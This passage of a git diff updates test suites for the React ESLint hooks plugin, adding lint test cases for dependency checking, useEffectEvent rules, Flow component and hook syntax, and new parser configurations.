+      code: normalizeIndent`
+        function MyComponent(props) {
+          useCustomEffect(() => {
+            console.log(props.foo);
+          }, [props.foo]);
+        }
+      `,
+      settings: {
+        'react-hooks': {
+          additionalEffectHooks: 'useCustomEffect',
+        },
+      },
+    },
+    {
+      // Test that rule-level additionalHooks takes precedence over settings
+      code: normalizeIndent`
+        function MyComponent(props) {
+          useCustomEffect(() => {
+            console.log(props.foo);
+          }, []);
+        }
+      `,
+      options: [{additionalHooks: 'useAnotherEffect'}],
+      settings: {
+        'react-hooks': {
+          additionalEffectHooks: 'useCustomEffect',
+        },
+      },
+    },
+    {
+      // Test settings with multiple hooks pattern
+      code: normalizeIndent`
+        function MyComponent(props) {
+          useCustomEffect(() => {
+            console.log(props.foo);
+          }, [props.foo]);
+          useAnotherEffect(() => {
+            console.log(props.bar);
+          }, [props.bar]);
+        }
+      `,
+      settings: {
+        'react-hooks': {
+          additionalEffectHooks: '(useCustomEffect|useAnotherEffect)',
+        },
+      },
+    },
+    {
+      code: normalizeIndent`
+        function MyComponent({ theme }) {
+          const onStuff = useEffectEvent(() => {
+            showNotification(theme);
+          });
+          useEffect(() => {
+            onStuff();
+          }, []);
+          React.useEffect(() => {
+            onStuff();
+          }, []);
+        }
+      `,
+    },
   ],
   invalid: [
+    {
+      code: normalizeIndent`
+        function MyComponent(props) {
+          useSpecialEffect(() => {
+            console.log(props.foo);
+          }, null);
+        }
+      `,
+      options: [{additionalHooks: 'useSpecialEffect'}],
+      errors: [
+        {
+          message:
+            "React Hook useSpecialEffect was passed a dependency list that is not an array literal. This means we can't statically verify whether you've passed the correct dependencies.",
+        },
+        {
+          message:
+            "React Hook useSpecialEffect has a missing dependency: 'props.foo'. Either include it or remove the dependency array.",
+          suggestions: [
+            {
+              desc: 'Update the dependencies array to be: [props.foo]',
+              output: normalizeIndent`
+                function MyComponent(props) {
+                  useSpecialEffect(() => {
+                    console.log(props.foo);
+                  }, [props.foo]);
+                }
+              `,
+            },
+          ],
+        },
+      ],
+    },
     {
       code: normalizeIndent`
         function MyComponent(props) {
@@ -1494,6 +1626,51 @@ const tests = {
         },
       ],
     },
+    {
+      // Affected code should use React.useActionState instead
+      code: normalizeIndent`
+        function ComponentUsingFormState(props) {
+          const [state7, dispatch3] = useFormState();
+          const [state8, dispatch4] = ReactDOM.useFormState();
+          useEffect(() => {
+            dispatch3();
+            dispatch4();
+
+            // dynamic
+            console.log(state7);
+            console.log(state8);
+
+          }, [state7, state8]);
+        }
+      `,
+      errors: [
+        {
+          message:
+            "React Hook useEffect has missing dependencies: 'dispatch3' and 'dispatch4'. " +
+            'Either include them or remove the dependency array.',
+          suggestions: [
+            {
+              desc: 'Update the dependencies array to be: [dispatch3, dispatch4, state7, state8]',
+              output: normalizeIndent`
+                function ComponentUsingFormState(props) {
+                  const [state7, dispatch3] = useFormState();
+                  const [state8, dispatch4] = ReactDOM.useFormState();
+                  useEffect(() => {
+                    dispatch3();
+                    dispatch4();
+
+                    // dynamic
+                    console.log(state7);
+                    console.log(state8);
+
+                  }, [dispatch3, dispatch4, state7, state8]);
+                }
+              `,
+            },
+          ],
+        },
+      ],
+    },
     {
       code: normalizeIndent`
         function MyComponent(props) {
@@ -3616,6 +3793,40 @@ const tests = {
         },
       ],
     },
+    {
+      // Test settings-based additionalHooks - should detect missing dependency
+      code: normalizeIndent`
+        function MyComponent(props) {
+          useCustomEffect(() => {
+            console.log(props.foo);
+          }, []);
+        }
+      `,
+      settings: {
+        'react-hooks': {
+          additionalEffectHooks: 'useCustomEffect',
+        },
+      },
+      errors: [
+        {
+          message:
+            "React Hook useCustomEffect has a missing dependency: 'props.foo'. " +
+            'Either include it or remove the dependency array.',
+          suggestions: [
+            {
+              desc: 'Update the dependencies array to be: [props.foo]',
+              output: normalizeIndent`
+                function MyComponent(props) {
+                  useCustomEffect(() => {
+                    console.log(props.foo);
+                  }, [props.foo]);
+                }
+              `,
+            },
+          ],
+        },
+      ],
+    },
     {
       code: normalizeIndent`
         function MyComponent() {
@@ -7039,18 +7250,7 @@ const tests = {
       errors: [
         {
           message:
-            "React Hook useEffect has a missing dependency: 'myEffect'. " +
-            'Either include it or remove the dependency array.',
-          suggestions: [
-            {
-              desc: 'Update the dependencies array to be: [myEffect]',
-              output: normalizeIndent`
-                function MyComponent({myEffect}) {
-                  useEffect(myEffect, [myEffect]);
-                }
-              `,
-            },
-          ],
+            'React Hook useEffect received a function whose dependencies are unknown. Pass an inline function instead.',
         },
       ],
     },
@@ -7621,28 +7821,19 @@ const tests = {
         },
       ],
     },
-  ],
-};
-
-if (__EXPERIMENTAL__) {
-  tests.valid = [
-    ...tests.valid,
     {
       code: normalizeIndent`
-        function MyComponent({ theme }) {
-          const onStuff = useEffectEvent(() => {
-            showNotification(theme);
-          });
-          useEffect(() => {
-            onStuff();
-          }, []);
+        function useCustomCallback(callback, deps) {
+          return useCallback(callback, deps)
         }
       `,
+      errors: [
+        {
+          message:
+            'React Hook useCallback received a function whose dependencies are unknown. Pass an inline function instead.',
+        },
+      ],
     },
-  ];
-
-  tests.invalid = [
-    ...tests.invalid,
     {
       code: normalizeIndent`
         function MyComponent({ theme }) {
@@ -7652,6 +7843,9 @@ if (__EXPERIMENTAL__) {
           useEffect(() => {
             onStuff();
           }, [onStuff]);
+          React.useEffect(() => {
+            onStuff();
+          }, [onStuff]);
         }
       `,
       errors: [
@@ -7670,6 +7864,32 @@ if (__EXPERIMENTAL__) {
                   useEffect(() => {
                     onStuff();
                   }, []);
+                  React.useEffect(() => {
+                    onStuff();
+                  }, [onStuff]);
+                }
+              `,
+            },
+          ],
+        },
+        {
+          message:
+            'Functions returned from `useEffectEvent` must not be included in the dependency array. ' +
+            'Remove `onStuff` from the list.',
+          suggestions: [
+            {
+              desc: 'Remove the dependency `onStuff`',
+              output: normalizeIndent`
+                function MyComponent({ theme }) {
+                  const onStuff = useEffectEvent(() => {
+                    showNotification(theme);
+                  });
+                  useEffect(() => {
+                    onStuff();
+                  }, [onStuff]);
+                  React.useEffect(() => {
+                    onStuff();
+                  }, []);
                 }
               `,
             },
@@ -7677,8 +7897,8 @@ if (__EXPERIMENTAL__) {
         },
       ],
     },
-  ];
-}
+  ],
+};
 
 // Tests that are only valid/invalid across parsers supporting Flow
 const testsFlow = {
@@ -7693,8 +7913,55 @@ const testsFlow = {
         }
       `,
     },
+    // Flow type aliases in type assertions should not be flagged as missing dependencies
+    {
+      code: normalizeIndent`
+        function MyComponent() {
+          type ColumnKey = 'id' | 'name';
+          type Item = {id: string, name: string};
+
+          const columns = useMemo(
+            () => [
+              {
+                type: 'text',
+                key: 'id',
+              } as TextColumn<ColumnKey, Item>,
+            ],
+            [],
+          );
+        }
+      `,
+    },
   ],
   invalid: [
+    {
+      code: normalizeIndent`
+        hook useExample(a) {
+          useEffect(() => {
+            console.log(a);
+          }, []);
+        }
+      `,
+      errors: [
+        {
+          message:
+            "React Hook useEffect has a missing dependency: 'a'. " +
+            'Either include it or remove the dependency array.',
+          suggestions: [
+            {
+              desc: 'Update the dependencies array to be: [a]',
+              output: normalizeIndent`
+                hook useExample(a) {
+                  useEffect(() => {
+                    console.log(a);
+                  }, [a]);
+                }
+              `,
+            },
+          ],
+        },
+      ],
+    },
     {
       code: normalizeIndent`
       function Foo() {
@@ -7742,6 +8009,24 @@ const testsTypescript = {
         }
       `,
     },
+    {
+      code: normalizeIndent`
+        function MyComponent() {
+          const [state, setState] = React.useState<number>(0);
+
+          useSpecialEffect(() => {
+            const someNumber: typeof state = 2;
+            setState(prevState => prevState + someNumber);
+          })
+        }
+      `,
+      options: [
+        {
+          additionalHooks: 'useSpecialEffect',
+          experimental_autoDependenciesHooks: ['useSpecialEffect'],
+        },
+      ],
+    },
     {
       code: normalizeIndent`
         function App() {
@@ -8097,6 +8382,48 @@ const testsTypescript = {
         function MyComponent() {
           const [state, setState] = React.useState<number>(0);
 
+          useSpecialEffect(() => {
+            const someNumber: typeof state = 2;
+            setState(prevState => prevState + someNumber + state);
+          }, [])
+        }
+      `,
+      options: [
+        {
+          additionalHooks: 'useSpecialEffect',
+          experimental_autoDependenciesHooks: ['useSpecialEffect'],
+        },
+      ],
+      errors: [
+        {
+          message:
+            "React Hook useSpecialEffect has a missing dependency: 'state'. " +
+            'Either include it or remove the dependency array. ' +
+            `You can also do a functional update 'setState(s => ...)' ` +
+            `if you only need 'state' in the 'setState' call.`,
+          suggestions: [
+            {
+              desc: 'Update the dependencies array to be: [state]',
+              output: normalizeIndent`
+              function MyComponent() {
+                const [state, setState] = React.useState<number>(0);
+
+                useSpecialEffect(() => {
+                  const someNumber: typeof state = 2;
+                  setState(prevState => prevState + someNumber + state);
+                }, [state])
+              }
+              `,
+            },
+          ],
+        },
+      ],
+    },
+    {
+      code: normalizeIndent`
+        function MyComponent() {
+          const [state, setState] = React.useState<number>(0);
+
           useMemo(() => {
             const someNumber: typeof state = 2;
             console.log(someNumber);
@@ -8144,6 +8471,36 @@ const testsTypescript = {
         },
       ],
     },
+    {
+      code: normalizeIndent`
+        function useCustomCallback(callback, deps) {
+          return useCallback(callback as any, deps)
+        }
+      `,
+      errors: [
+        {
+          message:
+            'React Hook useCallback received a function whose dependencies are unknown. Pass an inline function instead.',
+        },
+      ],
+    },
+    {
+      code: normalizeIndent`
+        function MyComponent(props) {
+          useEffect(() => {
+            console.log(props.foo);
+          });
+        }
+      `,
+      options: [{requireExplicitEffectDeps: true}],
+      errors: [
+        {
+          message:
+            'React Hook useEffect always requires dependencies. Please add a dependency array or an explicit `undefined`',
+          suggestions: undefined,
+        },
+      ],
+    },
   ],
 };
 
@@ -8222,6 +8579,10 @@ if (!process.env.CI) {
   testsFlow.invalid = testsFlow.invalid.filter(predicate);
   testsTypescript.valid = testsTypescript.valid.filter(predicate);
   testsTypescript.invalid = testsTypescript.invalid.filter(predicate);
+  testsTypescriptEslintParserV4.valid =
+    testsTypescriptEslintParserV4.valid.filter(predicate);
+  testsTypescriptEslintParserV4.invalid =
+    testsTypescriptEslintParserV4.invalid.filter(predicate);
 }
 
 describe('rules-of-hooks/exhaustive-deps', () => {
@@ -8232,6 +8593,7 @@ describe('rules-of-hooks/exhaustive-deps', () => {
     ecmaVersion: 6,
     sourceType: 'module',
   };
+
   const languageOptionsV9 = {
     ecmaVersion: 6,
     sourceType: 'module',
@@ -8242,7 +8604,9 @@ describe('rules-of-hooks/exhaustive-deps', () => {
     },
   };
 
-  const testsBabelEslint = {
+  const testsBabelEslint = tests;
+
+  const testsHermesParser = {
     valid: [...testsFlow.valid, ...tests.valid],
     invalid: [...testsFlow.invalid, ...tests.invalid],
   };
@@ -8267,6 +8631,33 @@ describe('rules-of-hooks/exhaustive-deps', () => {
     testsBabelEslint
   );
 
+  new ESLintTesterV7({
+    parser: require.resolve('hermes-eslint'),
+    parserOptions: {
+      sourceType: 'module',
+      enableExperimentalComponentSyntax: true,
+    },
+  }).run(
+    'eslint: v7, parser: hermes-eslint',
+    ReactHooksESLintRule,
+    testsHermesParser
+  );
+
+  new ESLintTesterV9({
+    languageOptions: {
+      ...languageOptionsV9,
+      parser: require('hermes-eslint'),
+      parserOptions: {
+        sourceType: 'module',
+        enableExperimentalComponentSyntax: true,
+      },
+    },
+  }).run(
+    'eslint: v9, parser: hermes-eslint',
+    ReactHooksESLintRule,
+    testsHermesParser
+  );
+
   const testsTypescriptEslintParser = {
     valid: [...testsTypescript.valid, ...tests.valid],
     invalid: [...testsTypescript.invalid, ...tests.invalid],
@@ -8374,7 +8765,7 @@ describe('rules-of-hooks/exhaustive-deps', () => {
       parser: require('@typescript-eslint/parser-v5'),
     },
   }).run(
-    'eslint: v9, parser: @typescript-eslint/parser@^5.0.0-0',
+    'eslint: v9, parser: @typescript-eslint/parser@^5.0.0',
     ReactHooksESLintRule,
     {
       valid: [
diff --git a/packages/eslint-plugin-react-hooks/__tests__/ESLintRulesOfHooks-test.js b/packages/eslint-plugin-react-hooks/__tests__/ESLintRulesOfHooks-test.js
index a98d2b76961f..3d60a36824d2 100644
--- a/packages/eslint-plugin-react-hooks/__tests__/ESLintRulesOfHooks-test.js
+++ b/packages/eslint-plugin-react-hooks/__tests__/ESLintRulesOfHooks-test.js
@@ -12,8 +12,8 @@
 const ESLintTesterV7 = require('eslint-v7').RuleTester;
 const ESLintTesterV9 = require('eslint-v9').RuleTester;
 const ReactHooksESLintPlugin = require('eslint-plugin-react-hooks');
-const BabelEslintParser = require('@babel/eslint-parser');
-const ReactHooksESLintRule = ReactHooksESLintPlugin.rules['rules-of-hooks'];
+const ReactHooksESLintRule =
+  ReactHooksESLintPlugin.default.rules['rules-of-hooks'];
 
 /**
  * A string template tag that removes padding from the left side of multi-line strings
@@ -35,7 +35,7 @@ function normalizeIndent(strings) {
 // }
 // ***************************************************
 
-const tests = {
+const allTests = {
   valid: [
     {
       code: normalizeIndent`
@@ -45,6 +45,25 @@ const tests = {
         }
       `,
     },
+    {
+      syntax: 'flow',
+      code: normalizeIndent`
+        // Component syntax
+        component Button() {
+          useHook();
+          return <div>Button!</div>;
+        }
+      `,
+    },
+    {
+      syntax: 'flow',
+      code: normalizeIndent`
+        // Hook syntax
+        hook useSampleHook() {
+          useHook();
+        }
+      `,
+    },
     {
       code: normalizeIndent`
         // Valid because components can use hooks.
@@ -550,8 +569,374 @@ const tests = {
       // TODO: this should error but doesn't.
       // errors: [genericError('useState')],
     },
+    {
+      code: normalizeIndent`
+        // Valid because the hook is outside of the loop
+        const Component = () => {
+          const [state, setState] = useState(0);
+          for (let i = 0; i < 10; i++) {
+            console.log(i);
+          }
+          return <div></div>;
+        };
+      `,
+    },
+    {
+      code: normalizeIndent`
+        // Valid: useEffectEvent can be called in custom effect hooks configured via ESLint settings
+        function MyComponent({ theme }) {
+          const onClick = useEffectEvent(() => {
+            showNotification(theme);
+          });
+          useMyEffect(() => {
+            onClick();
+          });
+          useServerEffect(() => {
+            onClick();
+          });
+        }
+      `,
+      settings: {
+        'react-hooks': {
+          additionalEffectHooks: '(useMyEffect|useServerEffect)',
+        },
+      },
+    },
+    {
+      syntax: 'flow',
+      code: normalizeIndent`
+        // Component syntax version
+        // Valid: useEffectEvent can be called in custom effect hooks configured via ESLint settings
+        component MyComponent(theme: any) {
+          const onClick = useEffectEvent(() => {
+            showNotification(theme);
+          });
+          useMyEffect(() => {
+            onClick();
+          });
+          useServerEffect(() => {
+            onClick();  
+          });
+        }
+      `,
+      settings: {
+        'react-hooks': {
+          additionalEffectHooks: '(useMyEffect|useServerEffect)',
+        },
+      },
+    },
+    {
+      code: normalizeIndent`
+        // Valid because functions created with useEffectEvent can be called in a useEffect.
+        function MyComponent({ theme }) {
+          const onClick = useEffectEvent(() => {
+            showNotification(theme);
+          });
+          useEffect(() => {
+            onClick();
+          });
+          React.useEffect(() => {
+            onClick();
+          });
+        }
+      `,
+    },
+    {
+      syntax: 'flow',
+      code: normalizeIndent`
+        // Component syntax version
+        // Valid because functions created with useEffectEvent can be called in a useEffect.
+        component MyComponent(theme: any) {
+          const onClick = useEffectEvent(() => {
+            showNotification(theme);
+          });
+          useEffect(() => {
+            onClick();
+          });
+          React.useEffect(() => {
+            onClick();
+          });
+        }
+      `,
+    },
+    {
+      code: normalizeIndent`
+        // Valid because functions created with useEffectEvent can be passed by reference in useEffect
+        // and useEffectEvent.
+        function MyComponent({ theme }) {
+          const onClick = useEffectEvent(() => {
+            showNotification(theme);
+          });
+          const onClick2 = useEffectEvent(() => {
+            debounce(onClick);
+            debounce(() => onClick());
+            debounce(() => { onClick() });
+            deboucne(() => debounce(onClick));
+          });
+          useEffect(() => {
+            let id = setInterval(() => onClick(), 100);
+            return () => clearInterval(onClick);
+          }, []);
+          React.useEffect(() => {
+            let id = setInterval(() => onClick(), 100);
+            return () => clearInterval(onClick);
+          }, []);
+          return null;
+        }
+      `,
+    },
+    {
+      syntax: 'flow',
+      code: normalizeIndent`
+        // Component syntax version
+        // Valid because functions created with useEffectEvent can be passed by reference in useEffect
+        // and useEffectEvent.
+        component MyComponent(theme: any) {
+          const onClick = useEffectEvent(() => {
+            showNotification(theme);
+          });
+          const onClick2 = useEffectEvent(() => {
+            debounce(onClick);
+            debounce(() => onClick());
+            debounce(() => { onClick() });
+            deboucne(() => debounce(onClick));
+          });
+          useEffect(() => {
+            let id = setInterval(() => onClick(), 100);
+            return () => clearInterval(onClick);
+          }, []);
+          React.useEffect(() => {
+            let id = setInterval(() => onClick(), 100);
+            return () => clearInterval(onClick);
+          }, []);
+          return null;
+        }
+      `,
+    },
+    {
+      code: normalizeIndent`
+        function MyComponent({ theme }) {
+          useEffect(() => {
+            onClick();
+          });
+          const onClick = useEffectEvent(() => {
+            showNotification(theme);
+          });
+        }
+      `,
+    },
+    {
+      syntax: 'flow',
+      code: normalizeIndent`
+        // Component syntax version
+        component MyComponent(theme: any) {
+          useEffect(() => {
+            onClick();
+          });
+          const onClick = useEffectEvent(() => {
+            showNotification(theme);
+          });
+        }
+      `,
+    },
+    {
+      code: normalizeIndent`
+        function MyComponent({ theme }) {
+          // Can receive arguments
+          const onEvent = useEffectEvent((text) => {
+            console.log(text);
+          });
+
+          useEffect(() => {
+            onEvent('Hello world');
+          });
+          React.useEffect(() => {
+            onEvent('Hello world');
+          });
+        }
+      `,
+    },
+    {
+      syntax: 'flow',
+      code: normalizeIndent`
+        // Component syntax version
+        component MyComponent(theme: any) {
+          // Can receive arguments
+          const onEvent = useEffectEvent((text) => {
+            console.log(text);
+          });
+
+          useEffect(() => {
+            onEvent('Hello world');
+          });
+          React.useEffect(() => {
+            onEvent('Hello world');
+          });
+        }
+      `,
+    },
+    {
+      code: normalizeIndent`
+        // Valid because functions created with useEffectEvent can be called in useLayoutEffect.
+        function MyComponent({ theme }) {
+          const onClick = useEffectEvent(() => {
+            showNotification(theme);
+          });
+          useLayoutEffect(() => {
+            onClick();
+          });
+          React.useLayoutEffect(() => {
+            onClick();
+          });
+        }
+      `,
+    },
+    {
+      syntax: 'flow',
+      code: normalizeIndent`
+        // Component syntax version
+        // Valid because functions created with useEffectEvent can be called in useLayoutEffect.
+        component MyComponent(theme: any) {
+          const onClick = useEffectEvent(() => {
+            showNotification(theme);
+          });
+          useLayoutEffect(() => {
+            onClick();
+          });
+          React.useLayoutEffect(() => {
+            onClick();
+          });
+        }
+      `,
+    },
+    {
+      code: normalizeIndent`
+        // Valid because functions created with useEffectEvent can be called in useInsertionEffect.
+        function MyComponent({ theme }) {
+          const onClick = useEffectEvent(() => {
+            showNotification(theme);
+          });
+          useInsertionEffect(() => {
+            onClick();
+          });
+          React.useInsertionEffect(() => {
+            onClick();
+          });
+        }
+      `,
+    },
+    {
+      syntax: 'flow',
+      code: normalizeIndent`
+        // Component syntax version
+        // Valid because functions created with useEffectEvent can be called in useInsertionEffect.
+        component MyComponent(theme) {
+          const onClick = useEffectEvent(() => {
+            showNotification(theme);
+          });
+          useInsertionEffect(() => {
+            onClick();
+          });
+          React.useInsertionEffect(() => {
+            onClick();
+          });
+        }
+      `,
+    },
+    {
+      code: normalizeIndent`
+        // Valid because functions created with useEffectEvent can be passed by reference in useLayoutEffect 
+        // and useInsertionEffect.
+        function MyComponent({ theme }) {
+          const onClick = useEffectEvent(() => {
+            showNotification(theme);
+          });
+          const onClick2 = useEffectEvent(() => {
+            debounce(onClick);
+            debounce(() => onClick());
+            debounce(() => { onClick() });
+            deboucne(() => debounce(onClick));
+          });
+          useLayoutEffect(() => {
+            let id = setInterval(() => onClick(), 100);
+            return () => clearInterval(onClick);
+          }, []);
+          React.useLayoutEffect(() => {
+            let id = setInterval(() => onClick(), 100);
+            return () => clearInterval(onClick);
+          }, []);
+          useInsertionEffect(() => {
+            let id = setInterval(() => onClick(), 100);
+            return () => clearInterval(onClick);
+          }, []);
+          React.useInsertionEffect(() => {
+            let id = setInterval(() => onClick(), 100);
+            return () => clearInterval(onClick);
+          }, []);
+          return null;
+        }
+      `,
+    },
+    {
+      syntax: 'flow',
+      code: normalizeIndent`
+        // Component syntax version
+        // Valid because functions created with useEffectEvent can be passed by reference in useLayoutEffect.
+        // and useInsertionEffect.
+        component MyComponent(theme: any) {
+          const onClick = useEffectEvent(() => {
+            showNotification(theme);
+          });
+          const onClick2 = useEffectEvent(() => {
+            debounce(onClick);
+            debounce(() => onClick());
+            debounce(() => { onClick() });
+            deboucne(() => debounce(onClick));
+          });
+          useLayoutEffect(() => {
+            let id = setInterval(() => onClick(), 100);
+            return () => clearInterval(onClick);
+          }, []);
+          React.useLayoutEffect(() => {
+            let id = setInterval(() => onClick(), 100);
+            return () => clearInterval(onClick);
+          }, []);
+          useInsertionEffect(() => {
+            let id = setInterval(() => onClick(), 100);
+            return () => clearInterval(onClick);
+          }, []);
+          React.useInsertionEffect(() => {
+            let id = setInterval(() => onClick(), 100);
+            return () => clearInterval(onClick);
+          }, []);
+          return null;
+        }
+      `,
+    },
   ],
   invalid: [
+    {
+      syntax: 'flow',
+      code: normalizeIndent`
+        component Button(cond: boolean) {
+          if (cond) {
+            useConditionalHook();
+          }
+        }
+      `,
+      errors: [conditionalError('useConditionalHook')],
+    },
+    {
+      syntax: 'flow',
+      code: normalizeIndent`
+        hook useTest(cond: boolean) {
+          if (cond) {
+            useConditionalHook();
+          }
+        }
+      `,
+      errors: [conditionalError('useConditionalHook')],
+    },
     {
       code: normalizeIndent`
         // Invalid because it's dangerous and might not warn otherwise.
@@ -741,16 +1126,40 @@ const tests = {
           }
         }
       `,
-      errors: [functionError('useState', 'handleClick')],
+      errors: [functionError('useState', 'handleClick')],
+    },
+    {
+      code: normalizeIndent`
+        // Invalid because it's dangerous and might not warn otherwise.
+        // This *must* be invalid.
+        function ComponentWithHookInsideLoop() {
+          while (cond) {
+            useHookInsideLoop();
+          }
+        }
+      `,
+      errors: [loopError('useHookInsideLoop')],
+    },
+    {
+      code: normalizeIndent`
+        // Invalid because it's dangerous and might not warn otherwise.
+        // This *must* be invalid.
+        function ComponentWithHookInsideLoop() {
+          do {
+            useHookInsideLoop();
+          } while (cond);
+        }
+      `,
+      errors: [loopError('useHookInsideLoop')],
     },
     {
       code: normalizeIndent`
         // Invalid because it's dangerous and might not warn otherwise.
         // This *must* be invalid.
         function ComponentWithHookInsideLoop() {
-          while (cond) {
-            useHookInsideLoop();
-          }
+          do {
+            foo();
+          } while (useHookInsideLoop());
         }
       `,
       errors: [loopError('useHookInsideLoop')],
@@ -853,6 +1262,45 @@ const tests = {
       `,
       errors: [loopError('useHook1'), loopError('useHook2', true)],
     },
+    {
+      code: normalizeIndent`
+        // Invalid because it's dangerous and might not warn otherwise.
+        // This *must* be invalid.
+        function useHookInLoops() {
+          do {
+            useHook1();
+            if (a) return;
+            useHook2();
+          } while (b);
+
+          do {
+            useHook3();
+            if (c) return;
+            useHook4();
+          } while (d)
+        }
+      `,
+      errors: [
+        loopError('useHook1'),
+        loopError('useHook2'),
+        loopError('useHook3'),
+        loopError('useHook4'),
+      ],
+    },
+    {
+      code: normalizeIndent`
+        // Invalid because it's dangerous and might not warn otherwise.
+        // This *must* be invalid.
+        function useHookInLoops() {
+          do {
+            useHook1();
+            if (a) continue;
+            useHook2();
+          } while (b);
+        }
+      `,
+      errors: [loopError('useHook1'), loopError('useHook2', true)],
+    },
     {
       code: normalizeIndent`
         // Invalid because it's dangerous and might not warn otherwise.
@@ -1129,6 +1577,34 @@ const tests = {
       `,
       errors: [asyncComponentHookError('useState')],
     },
+    {
+      code: normalizeIndent`
+        async function Page() {
+          useId();
+          React.useId();
+        }
+      `,
+      errors: [
+        asyncComponentHookError('useId'),
+        asyncComponentHookError('React.useId'),
+      ],
+    },
+    {
+      code: normalizeIndent`
+        async function useAsyncHook() {
+          useId();
+        }
+      `,
+      errors: [asyncComponentHookError('useId')],
+    },
+    {
+      code: normalizeIndent`
+        async function notAHook() {
+          useId();
+        }
+      `,
+      errors: [functionError('useId', 'notAHook')],
+    },
     {
       code: normalizeIndent`
         Hook.use();
@@ -1181,125 +1657,193 @@ const tests = {
       `,
       errors: [asyncComponentHookError('use')],
     },
-  ],
-};
-
-if (__EXPERIMENTAL__) {
-  tests.valid = [
-    ...tests.valid,
     {
       code: normalizeIndent`
-        // Valid because functions created with useEffectEvent can be called in a useEffect.
+        function App({p1, p2}) {
+          try {
+            use(p1);
+          } catch (error) {
+            console.error(error);
+          }
+          use(p2);
+          return <div>App</div>;
+        }
+      `,
+      errors: [tryCatchUseError('use')],
+    },
+    {
+      code: normalizeIndent`
+        function App({p1, p2}) {
+          try {
+            doSomething();
+          } catch {
+            use(p1);
+          }
+          use(p2);
+          return <div>App</div>;
+        }
+      `,
+      errors: [tryCatchUseError('use')],
+    },
+    {
+      code: normalizeIndent`
+        // Invalid: useEffectEvent should not be callable in regular custom hooks without additional configuration
         function MyComponent({ theme }) {
           const onClick = useEffectEvent(() => {
             showNotification(theme);
           });
-          useEffect(() => {
+          useCustomHook(() => {
             onClick();
           });
         }
       `,
+      errors: [useEffectEventError('onClick', true)],
+    },
+    {
+      syntax: 'flow',
+      code: normalizeIndent`
+      // Component syntax version
+      // Invalid: useEffectEvent should not be callable in regular custom hooks without additional configuration
+      component MyComponent() {
+        const onClick = useEffectEvent(() => {
+          showNotification(theme);
+        });
+        useCustomHook(() => {
+          onClick();
+        });
+      }
+      `,
+      errors: [useEffectEventError('onClick', true)],
     },
     {
       code: normalizeIndent`
-        // Valid because functions created with useEffectEvent can be called in closures.
+        // Invalid: useEffectEvent should not be callable in hooks not matching the settings regex
         function MyComponent({ theme }) {
           const onClick = useEffectEvent(() => {
             showNotification(theme);
           });
-          return <Child onClick={() => onClick()}></Child>;
+          useWrongHook(() => {
+            onClick();
+          });
         }
       `,
+      settings: {
+        'react-hooks': {
+          additionalEffectHooks: 'useMyEffect',
+        },
+      },
+      errors: [useEffectEventError('onClick', true)],
     },
     {
+      syntax: 'flow',
       code: normalizeIndent`
-        // Valid because functions created with useEffectEvent can be called in closures.
-        function MyComponent({ theme }) {
+        // Component syntax version
+        // Invalid: useEffectEvent should not be callable in hooks not matching the settings regex
+        component MyComponent(theme: any) {
           const onClick = useEffectEvent(() => {
             showNotification(theme);
           });
-          const onClick2 = () => { onClick() };
-          const onClick3 = useCallback(() => onClick(), []);
-          return <>
-            <Child onClick={onClick2}></Child>
-            <Child onClick={onClick3}></Child>
-          </>;
+          useWrongHook(() => {
+            onClick();
+          });
         }
       `,
+      settings: {
+        'react-hooks': {
+          additionalEffectHooks: 'useMyEffect',
+        },
+      },
+      errors: [useEffectEventError('onClick', true)],
     },
     {
       code: normalizeIndent`
-        // Valid because functions created with useEffectEvent can be passed by reference in useEffect
-        // and useEffectEvent.
         function MyComponent({ theme }) {
           const onClick = useEffectEvent(() => {
             showNotification(theme);
           });
-          const onClick2 = useEffectEvent(() => {
-            debounce(onClick);
-          });
-          useEffect(() => {
-            let id = setInterval(onClick, 100);
-            return () => clearInterval(onClick);
-          }, []);
-          return <Child onClick={() => onClick2()} />
+          return <Child onClick={onClick}></Child>;
         }
       `,
+      errors: [useEffectEventError('onClick', false)],
     },
     {
+      syntax: 'flow',
       code: normalizeIndent`
-        const MyComponent = ({theme}) => {
+        // Component syntax version
+        component MyComponent(theme: any) {
           const onClick = useEffectEvent(() => {
             showNotification(theme);
           });
-          return <Child onClick={() => onClick()}></Child>;
-        };
+          return <Child onClick={onClick}></Child>;
+        }
       `,
+      errors: [useEffectEventError('onClick', false)],
     },
     {
       code: normalizeIndent`
+        // Invalid because useEffectEvent is being passed down
         function MyComponent({ theme }) {
-          const notificationService = useNotifications();
-          const showNotification = useEffectEvent((text) => {
-            notificationService.notify(theme, text);
-          });
-          const onClick = useEffectEvent((text) => {
-            showNotification(text);
-          });
-          return <Child onClick={(text) => onClick(text)} />
+          return <Child onClick={useEffectEvent(() => {
+            showNotification(theme);
+          })} />;
         }
       `,
+      errors: [{...useEffectEventError(null, false), line: 4}],
     },
     {
+      syntax: 'flow',
       code: normalizeIndent`
-        function MyComponent({ theme }) {
-          useEffect(() => {
-            onClick();
-          });
-          const onClick = useEffectEvent(() => {
+        // Component syntax version
+        // Invalid because useEffectEvent is being passed down
+        component MyComponent(theme: any) {
+          return <Child onClick={useEffectEvent(() => {
             showNotification(theme);
-          });
+          })} />;
         }
       `,
+      errors: [{...useEffectEventError(null, false), line: 5}],
     },
-  ];
-  tests.invalid = [
-    ...tests.invalid,
     {
       code: normalizeIndent`
-        function MyComponent({ theme }) {
+        // This should error even though it shares an identifier name with the below
+        function MyComponent({theme}) {
           const onClick = useEffectEvent(() => {
-            showNotification(theme);
+            showNotification(theme)
           });
-          return <Child onClick={onClick}></Child>;
+          return <Child onClick={onClick} />
+        }
+
+        // The useEffectEvent function shares an identifier name with the above
+        function MyOtherComponent({theme}) {
+          const onClick = useEffectEvent(() => {
+            showNotification(theme)
+          });
+          return <Child onClick={() => onClick()} />
+        }
+
+        // The useEffectEvent function shares an identifier name with the above
+        function MyLastComponent({theme}) {
+          const onClick = useEffectEvent(() => {
+            showNotification(theme)
+          });
+          useEffect(() => {
+            onClick(); // No error here, errors on all other uses
+            onClick;
+          })
+          return <Child />
         }
       `,
-      errors: [useEffectEventError('onClick')],
+      errors: [
+        {...useEffectEventError('onClick', false), line: 7},
+        {...useEffectEventError('onClick', true), line: 15},
+      ],
     },
     {
+      syntax: 'flow',
       code: normalizeIndent`
+        // Component syntax version
         // This should error even though it shares an identifier name with the below
-        function MyComponent({theme}) {
+        component MyComponent(theme: any) {
           const onClick = useEffectEvent(() => {
             showNotification(theme)
           });
@@ -1307,14 +1851,29 @@ if (__EXPERIMENTAL__) {
         }
 
         // The useEffectEvent function shares an identifier name with the above
-        function MyOtherComponent({theme}) {
+        component MyOtherComponent(theme: any) {
